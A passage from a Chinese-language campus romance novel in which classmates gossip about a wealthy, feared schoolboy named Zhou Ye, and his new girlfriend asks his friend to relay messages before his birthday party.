“哎呀,就是她看起来很清纯,长得人畜无害啊,漂亮又不漂亮得过分,好像谁都有机会,又会打扮,男生就喜欢这种的。知道了吧?” “知道了。”裴甜才明白,原来同桌就是单纯的想跟她说一下八卦。 她以为话题到此为止了,翻开书准备预习,邓方悦忽然又凑过来,悄悄说:“她现在是周野女朋友,周野你知道是谁吗?” 裴甜拿笔的手一顿。 这个名字。 怎么像一个魔咒一样,哪里都有他。 裴甜有点紧张地皱了下眉,很快松开,垂下浓密的睫毛,低声说:“不知道。” 邓方悦悄悄跟她说,“0班的大佬,六中就是他家开的,长得帅,又特有钱,以前跟人打架特别狠,现在都没有人敢惹他了。听说家里还有权,听说的啊,不知道是不是真的。” “那么厉害。”裴甜顺着同桌的话往下说,心不在焉地捏着荧光笔画重点。 “厉害啊,不过人也挺混的,换女朋友像换衣服,学校里最漂亮的那几个基本都是他前女友。”邓方悦的语气有点微妙,“其实现在也有挺多女生在追周野的,还有外校的来表白过。” “嗯。” 邓方悦离题万里,最后轻哼了一声,才说:“所以童清欢跟周野估计也好不了多久,我看她分手之后还怎么回寝室嘚瑟。” 裴甜没接话。 童清欢在门外站了一阵,终于看到被男生挡住了的何一昂,快步走过来问:“何一昂,周野呢?没来上课吗?” 何一昂看她一眼,笑着说:“哟,野哥这会儿在北城呢,下午回来,嫂子有事啊?” “胡聪豪他们找我,想让我跟周野说下,他以后不敢了,别找人搞他。” “卧槽,上次没把这孙子弄痛啊,还他妈敢威胁嫂子?”何一昂一拍桌子,说,“嫂子放心,野哥回来我就跟他说,这次非让他们见到你都绕道走。” 童清欢见他误会了,急忙说:“不是威胁,他们就是不敢找周野,一直给我送东西,我不要还硬塞给我。我看他们真挺怕的,你跟周野说一下吧。” 何一昂“哦”了一声,表情淡定下来,说:“行,这事嫂子别管了,他跟野哥之间有事,三言两语说不清楚。” “好吧。”童清欢咬了咬唇,“周野今晚过生日吗?” “过啊。怎么?” “能不能让他别带他那个游戏CP来?她来了,我算什么?” 何一昂和几个男生对视一眼,伸手抓了抓头发,问:”哪个游戏CP啊?” “晚安阿野。”童清欢说出这几个字,气得牙根儿痒痒。 听说开学前,他们去钱柜组局的时候,这个女的说她也想去,周野就同意了,把周野当时的女朋友气得摔门就走,周野也没去追。 第二天开学两人直接分手,不知道谁甩的谁。反正有了这种前车之鉴,童清欢就不想在聚会上看到这么个人。 何一昂耸肩:“这个你得跟野哥说啊,我们可不敢跟着瞎掺和。” 都是要叫嫂子的人,而且论起先来后到,晚安阿野做野哥CP都快一个月了,童清欢上周一才表白成功的。 他们实在也摸不清周野喜欢谁多一点,看着都挺冷淡,可以说就没见他什么时候对女生热情过。 “我打他电话打不通。” “噢,野哥他爷爷比较严肃,他到那可能就关机了,我们也打不通。”何一昂压根儿没打,但是替哥们儿打掩护这种事张口就来,言之凿凿地说,“嫂子别生气,等野哥下午回来,你再跟他当面说,我们一定帮你。” 童清欢还想让何一昂现在给周野打电话,但是上课铃声响了,她只好小跑出去。